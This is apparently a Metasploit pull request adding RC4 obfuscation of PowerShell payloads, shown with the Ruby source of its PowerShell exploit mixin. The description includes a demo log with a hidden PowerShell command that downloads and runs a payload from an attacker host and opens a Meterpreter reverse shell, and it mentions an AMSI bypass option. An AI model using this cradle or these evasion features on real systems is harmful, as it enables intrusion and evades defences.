ff9dad2b28
This options makes use of RC4 for obfuscating powershell payloads. See https://github.com/rapid7/rex-powershell/pull/14. Now that the PR in rex-powershell has been merged, I am submitting this PR which provides the new option powershell::exec_rc4 to make use of the functionality added by the other PR. It enables using unstaged payloads in web_delivery and obfuscates everything with RC4. At first I wanted to include an AMSI bypass, but the maintainers were against it, as it is a rapidly moving target. However, please note that I'm using the same idea in another project of mine (https://github.com/AdrianVollmer/PowerHub) and Matt Graber's original AMSI bypass still works when obfuscating each string with RC4. For verification and testing, the following output shows the steps you need to take (here all included in the command line). Obviously, LHOST needs to be adjusted. $ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run' [...] 15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) > [*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443 [*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4 [*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4 [*] [2019.10.26-15:43:34] Server started. [*] [2019.10.26-15:43:34] Run the following command on the target machine: powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4'); [*] [2019.10.26-15:43:37] 192.168.11.3 web_delivery - Delivering Payload (372601) bytes [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session... [*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200 sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : SYSS-AVOLLMER-W OS : Windows 10 (10.0 Build 18362). Architecture : x64 System Language : de_DE Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows
258 lines
9.4 KiB
Ruby
258 lines
9.4 KiB
Ruby
# -*- coding: binary -*-
|
|
require 'rex/powershell'
|
|
|
|
module Msf
|
|
module Exploit::Powershell
|
|
def initialize(info = {})
|
|
super
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
|
|
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
|
|
OptBool.new('Powershell::prepend_protections_bypass', [true, 'Prepend AMSI/SBL bypass', false]),
|
|
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
|
|
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
|
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
|
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
|
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
|
|
OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]),
|
|
OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
|
|
OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
|
|
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
|
|
OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
|
|
OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),
|
|
OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
|
|
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
|
|
]
|
|
)
|
|
end
|
|
|
|
#
|
|
# Return a script from path or string
|
|
#
|
|
def read_script(script_path)
|
|
Rex::Powershell::Script.new(script_path)
|
|
end
|
|
|
|
#
|
|
# Return an array of substitutions for use in make_subs
|
|
#
|
|
def process_subs(subs)
|
|
return [] if subs.nil? || subs.empty?
|
|
new_subs = []
|
|
subs.split(';').each do |set|
|
|
new_subs << set.split(',', 2)
|
|
end
|
|
|
|
new_subs
|
|
end
|
|
|
|
#
|
|
# Insert substitutions into the powershell script
|
|
# If script is a path to a file then read the file
|
|
# otherwise treat it as the contents of a file
|
|
#
|
|
def make_subs(script, subs)
|
|
subs.each do |set|
|
|
script.gsub!(set[0], set[1])
|
|
end
|
|
|
|
script
|
|
end
|
|
|
|
#
|
|
# Return an encoded powershell script
|
|
# Will invoke PSH modifiers as enabled
|
|
#
|
|
# @param script_in [String] Script contents
|
|
#
|
|
# @return [String] Encoded script
|
|
def encode_script(script_in, eof = nil)
|
|
opts = {}
|
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
|
mod_method = k.split('::').last.intern
|
|
opts[mod_method.to_sym] = true
|
|
end
|
|
|
|
Rex::Powershell::Command.encode_script(script_in, eof, opts)
|
|
end
|
|
|
|
#
|
|
# Return an decoded powershell script
|
|
#
|
|
# @param script_in [String] Encoded contents
|
|
#
|
|
# @return [String] Decoded script
|
|
def decode_script(script_in)
|
|
return script_in unless
|
|
script_in.to_s.match(%r{[A-Za-z0-9+/]+={0,3}})[0] == script_in.to_s &&
|
|
(script_in.to_s.length % 4).zero?
|
|
|
|
Rex::Powershell::Command.decode_script(script_in)
|
|
end
|
|
|
|
#
|
|
# Return a gzip compressed powershell script
|
|
# Will invoke PSH modifiers as enabled
|
|
#
|
|
# @param script_in [String] Script contents
|
|
# @param eof [String] Marker to indicate the end of file appended to script
|
|
#
|
|
# @return [String] Compressed script with decompression stub
|
|
def compress_script(script_in, eof = nil)
|
|
opts = {}
|
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
|
mod_method = k.split('::').last.intern
|
|
opts[mod_method.to_sym] = true
|
|
end
|
|
|
|
Rex::Powershell::Command.compress_script(script_in, eof, opts)
|
|
end
|
|
|
|
#
|
|
# Return a decompressed powershell sript
|
|
#
|
|
# @param script_in [String] Compressed contents with decompression stub
|
|
#
|
|
# @return [String] Decompressed script
|
|
def decompress_script(script_in)
|
|
return script_in unless script_in.match?(/FromBase64String/)
|
|
|
|
Rex::Powershell::Command.decompress_script(script_in)
|
|
end
|
|
|
|
#
|
|
# Generate a powershell command line, options are passed on to
|
|
# generate_psh_args
|
|
#
|
|
# @param opts [Hash] The options to generate the command line
|
|
# @option opts [String] :path Path to the powershell binary
|
|
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
|
# should include .exe
|
|
#
|
|
# @return [String] Powershell command line with arguments
|
|
def generate_psh_command_line(opts)
|
|
Rex::Powershell::Command.generate_psh_command_line(opts)
|
|
end
|
|
|
|
#
|
|
# Generate arguments for the powershell command
|
|
# The format will be have no space at the start and have a space
|
|
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
|
#
|
|
# @param opts [Hash] The options to generate the command line
|
|
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
|
# arguments (v2.0 or greater)
|
|
# @option opts [String] :encodedcommand Powershell script as an
|
|
# encoded command (-EncodedCommand)
|
|
# @option opts [String] :executionpolicy The execution policy
|
|
# (-ExecutionPolicy)
|
|
# @option opts [String] :inputformat The input format (-InputFormat)
|
|
# @option opts [String] :file The path to a powershell file (-File)
|
|
# @option opts [Boolean] :noexit Whether to exit powershell after
|
|
# execution (-NoExit)
|
|
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
|
# @option opts [Boolean] :noninteractive Whether to load a non
|
|
# interactive powershell (-NonInteractive)
|
|
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
|
# Apartment (-Mta)
|
|
# @option opts [String] :outputformat The output format
|
|
# (-OutputFormat)
|
|
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
|
# Apartment (-Sta)
|
|
# @option opts [Boolean] :noprofile Whether to use the current users
|
|
# powershell profile (-NoProfile)
|
|
# @option opts [String] :windowstyle The window style to use
|
|
# (-WindowStyle)
|
|
#
|
|
# @return [String] Powershell command arguments
|
|
def generate_psh_args(opts)
|
|
return '' unless opts
|
|
|
|
unless opts.key? :shorten
|
|
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
|
end
|
|
|
|
Rex::Powershell::Command.generate_psh_args(opts)
|
|
end
|
|
|
|
#
|
|
# Wraps the powershell code to launch a hidden window and
|
|
# detect the execution environment and spawn the appropriate
|
|
# powershell executable for the payload architecture.
|
|
#
|
|
# @param ps_code [String] Powershell code
|
|
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
|
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
|
# @return [String] Wrapped powershell code
|
|
def run_hidden_psh(ps_code, payload_arch, encoded)
|
|
arg_opts = {
|
|
noprofile: true,
|
|
windowstyle: 'hidden'
|
|
}
|
|
|
|
# Old technique fails if powershell exits..
|
|
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
|
|
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
|
|
|
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
|
|
end
|
|
|
|
#
|
|
# Creates a powershell command line string which will execute the
|
|
# payload in a hidden window in the appropriate execution environment
|
|
# for the payload architecture. Opts are passed through to
|
|
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
|
#
|
|
# @param pay [String] The payload shellcode
|
|
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
|
# @param opts [Hash] The options to generate the command
|
|
# @option opts [Boolean] :persist Loop the payload to cause
|
|
# re-execution if the shellcode finishes
|
|
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
|
# before executing the payload
|
|
# @option opts [Integer] :exec_rc4 Encrypt payload with RC4
|
|
# @option opts [Boolean] :prepend_protections_bypass Prepend AMSI/SBL bypass
|
|
# @option opts [Boolean] :exec_rc4 Encrypt payload with RC4
|
|
# @option opts [String] :method The powershell injection technique to
|
|
# use: 'net'/'reflection'/'old'
|
|
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
|
# script within the hidden/architecture detection wrapper
|
|
# @option opts [Boolean] :encode_final_payload Encodes the final
|
|
# powershell script
|
|
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
|
# environment variable at the start of the command line
|
|
# @option opts [Boolean] :wrap_double_quotes Wraps the -Command
|
|
# argument in double quotes unless :encode_final_payload
|
|
#
|
|
# @return [String] Powershell command line with payload
|
|
def cmd_psh_payload(pay, payload_arch, opts = {})
|
|
%i[persist prepend_sleep prepend_protections_bypass exec_in_place exec_rc4 encode_final_payload encode_inner_payload
|
|
remove_comspec noninteractive wrap_double_quotes no_equals method].map do |opt|
|
|
opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil?
|
|
end
|
|
|
|
unless opts.key? :shorten
|
|
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
|
end
|
|
|
|
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
|
command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)
|
|
vprint_status("Powershell command length: #{command.length}")
|
|
|
|
command
|
|
end
|
|
|
|
def bypass_powershell_protections
|
|
Rex::Powershell::PshMethods.bypass_powershell_protections
|
|
end
|
|
|
|
#
|
|
# Useful method cache
|
|
#
|
|
module PshMethods
|
|
include Rex::Powershell::PshMethods
|
|
end
|
|
end
|
|
end
|